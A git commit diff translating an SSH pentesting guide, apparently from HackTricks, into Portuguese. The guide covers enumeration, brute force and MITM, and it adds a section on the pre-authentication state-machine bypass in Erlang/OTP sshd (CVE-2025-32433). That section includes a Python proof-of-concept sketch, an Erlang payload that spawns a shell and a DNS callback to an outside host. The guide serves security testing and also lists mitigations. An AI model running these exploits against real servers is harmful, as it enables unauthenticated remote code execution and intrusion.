Translated ['src/network-services-pentesting/pentesting-ssh.md'] to pt

This commit is contained in:
Translator 2025-08-14 00:19:35 +00:00
parent 3f3a1e1741
commit c662d086a9

View File

@ -21,7 +21,7 @@
- [libssh](https://www.libssh.org) biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); é usada pelo KDE para sftp e pelo GitHub para a infraestrutura git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) biblioteca de servidor SSHv2 escrita em ANSI C e direcionada para ambientes embarcados, RTOS e com recursos limitados
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) biblioteca java Apache SSHD baseada no Apache MINA
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) biblioteca Java Apache SSHD baseada no Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) biblioteca do protocolo SSHv2 em Python
## Enumeração
@ -44,7 +44,7 @@ ssh-audit é uma ferramenta para auditoria de configuração de servidor e clien
- coletar algoritmos de troca de chaves, chave do host, criptografia e código de autenticação de mensagem;
- saída de informações sobre algoritmos (disponível desde, removido/desativado, inseguro/fraco/legado, etc);
- saída de recomendações de algoritmos (adicionar ou remover com base na versão do software reconhecida);
- saída de informações de segurança (problemas relacionados, lista de CVE atribuídos, etc);
- saída de informações de segurança (problemas relacionados, lista de CVE atribuída, etc);
- analisar a compatibilidade da versão SSH com base nas informações do algoritmo;
- informações históricas do OpenSSH, Dropbear SSH e libssh;
- funciona em Linux e Windows;
@ -91,11 +91,11 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
- `ssh`
## Força bruta em nomes de usuário, senhas e chaves privadas
## Força bruta de nomes de usuário, senhas e chaves privadas
### Enumeração de Nomes de Usuário
Em algumas versões do OpenSSH, você pode realizar um ataque de temporização para enumerar usuários. Você pode usar um módulo do metasploit para explorar isso:
Em algumas versões do OpenSSH, você pode fazer um ataque de temporização para enumerar usuários. Você pode usar um módulo do metasploit para explorar isso:
```
msf> use scanner/ssh/ssh_enumusers
```
@ -105,7 +105,7 @@ Algumas credenciais ssh comuns [aqui](https://github.com/danielmiessler/SecLists
### Força Bruta de Chave Privada
Se você conhece algumas chaves privadas ssh que poderiam ser usadas... vamos tentar. Você pode usar o script nmap:
Se você souber algumas chaves privadas ssh que poderiam ser usadas... vamos tentar. Você pode usar o script nmap:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
@ -159,7 +159,7 @@ Se você estiver na rede local como a vítima que vai se conectar ao servidor SS
- **Redirecionamento de Tráfego:** O atacante **desvia** o tráfego da vítima para sua máquina, efetivamente **interceptando** a tentativa de conexão ao servidor SSH.
- **Intercepção e Registro:** A máquina do atacante atua como um **proxy**, **capturando** os detalhes de login do usuário ao fingir ser o servidor SSH legítimo.
- **Execução de Comandos e Revezamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **os executa** e **envia os resultados de volta** ao usuário, fazendo o processo parecer contínuo e legítimo.
- **Execução de Comandos e Revezamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **os executa** e **envia os resultados de volta** para o usuário, fazendo o processo parecer contínuo e legítimo.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que foi descrito acima.
@ -242,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
O **sftp** tem o comando "**symlink**". Portanto, se você tiver **direitos de gravação** em alguma pasta, pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas, se você puder **acessar** o **symlink** criado a partir de um **serviço** **sem chroot** (por exemplo, se você puder acessar o symlink pela web), você poderia **abrir os arquivos vinculados através da web**.
O **sftp** tem o comando "**symlink**". Portanto, se você tiver **direitos de gravação** em alguma pasta, pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas, se você puder **acessar** o **symlink** criado a partir de um **serviço** **não-chroot** (por exemplo, se você puder acessar o symlink pela web), você poderia **abrir os arquivos linkados através da web**.
Por exemplo, para criar um **symlink** de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**:
```bash
@ -252,7 +252,7 @@ Se você puder acessar o arquivo "_froot_" via web, poderá listar a pasta raiz
### Métodos de autenticação
Em ambientes de alta segurança, é uma prática comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores, em vez da simples autenticação baseada em senha. Mas muitas vezes, os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Assim, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
Em ambientes de alta segurança, é uma prática comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores, em vez da simples autenticação baseada em senha. Mas muitas vezes, os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Assim, ao usar o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -281,12 +281,68 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Bypass do Estado da Máquina de Autenticação (RCE Pré-Autenticação)
Várias implementações de servidor SSH contêm falhas lógicas na **máquina de estados finitos de autenticação** que permitem a um cliente enviar mensagens de *protocolo de conexão* **antes** que a autenticação tenha sido concluída. Como o servidor não verifica se está no estado correto, essas mensagens são tratadas como se o usuário estivesse totalmente autenticado, levando à **execução de código não autenticado** ou criação de sessão.
Em um nível de protocolo, qualquer mensagem SSH com um _código de mensagem_ **≥ 80** (0x50) pertence à camada de *conexão* (RFC 4254) e deve **ser aceita apenas após autenticação bem-sucedida** (RFC 4252). Se o servidor processar uma dessas mensagens enquanto ainda estiver no estado *SSH_AUTHENTICATION*, o atacante pode imediatamente criar um canal e solicitar ações como execução de comandos, redirecionamento de portas, etc.
### Passos Genéricos de Exploração
1. Estabeleça uma conexão TCP na porta SSH do alvo (comumente 22, mas outros serviços podem expor Erlang/OTP em 2022, 830, 2222…).
2. Crie um pacote SSH bruto:
* 4 bytes de **packet_length** (big-endian)
* 1 byte de **message_code** ≥ 80 (por exemplo, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload que será compreendido pelo tipo de mensagem escolhido
3. Envie o(s) pacote(s) **antes de completar qualquer etapa de autenticação**.
4. Interaja com as APIs do servidor que agora estão expostas _pré-autenticação_ (execução de comandos, redirecionamento de portas, acesso ao sistema de arquivos, …).
Esboço de prova de conceito em Python:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
Na prática, você precisará realizar (ou pular) a troca de chaves de acordo com a implementação do alvo, mas **nenhuma autenticação** é realizada.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Versões afetadas:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Causa raiz:** o daemon SSH nativo do Erlang não valida o estado atual antes de invocar `ssh_connection:handle_msg/2`. Portanto, qualquer pacote com um código de mensagem de 80-255 chega ao manipulador de conexão enquanto a sessão ainda está no estado *userauth*.
* **Impacto:** execução de **código remoto** não autenticada (o daemon geralmente é executado como **root** em dispositivos embarcados/OT).
Exemplo de payload que gera um shell reverso vinculado ao canal controlado pelo atacante:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
A detecção de RCE cega / fora de banda pode ser realizada via DNS:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detecção e Mitigação:
* Inspecione o tráfego SSH: **descarte qualquer pacote com código de mensagem ≥ 80 observado antes da autenticação**.
* Atualize Erlang/OTP para **27.3.3 / 26.2.5.11 / 25.3.2.20** ou mais recente.
* Restringa a exposição de portas de gerenciamento (22/2022/830/2222) especialmente em equipamentos OT.
---
### Outras Implementações Afetadas
* **libssh** 0.6 0.8 (lado do servidor) **CVE-2018-10933** aceita um `SSH_MSG_USERAUTH_SUCCESS` não autenticado enviado pelo cliente, efetivamente a falha de lógica inversa.
A lição comum é que qualquer desvio das transições de estado exigidas pelo RFC pode ser fatal; ao revisar ou fuzzar daemons SSH, preste atenção especial à *aplicação da máquina de estados*.
## Referências
- Você pode encontrar guias interessantes sobre como fortalecer o SSH em [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [Guias de hardening SSH](https://www.ssh-audit.com/hardening_guides.html)
- [Guia de hacking SSH da Turgensec](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Comandos Automáticos
## Comandos Automáticos HackTricks
```
Protocol_Name: SSH
Port_Number: 22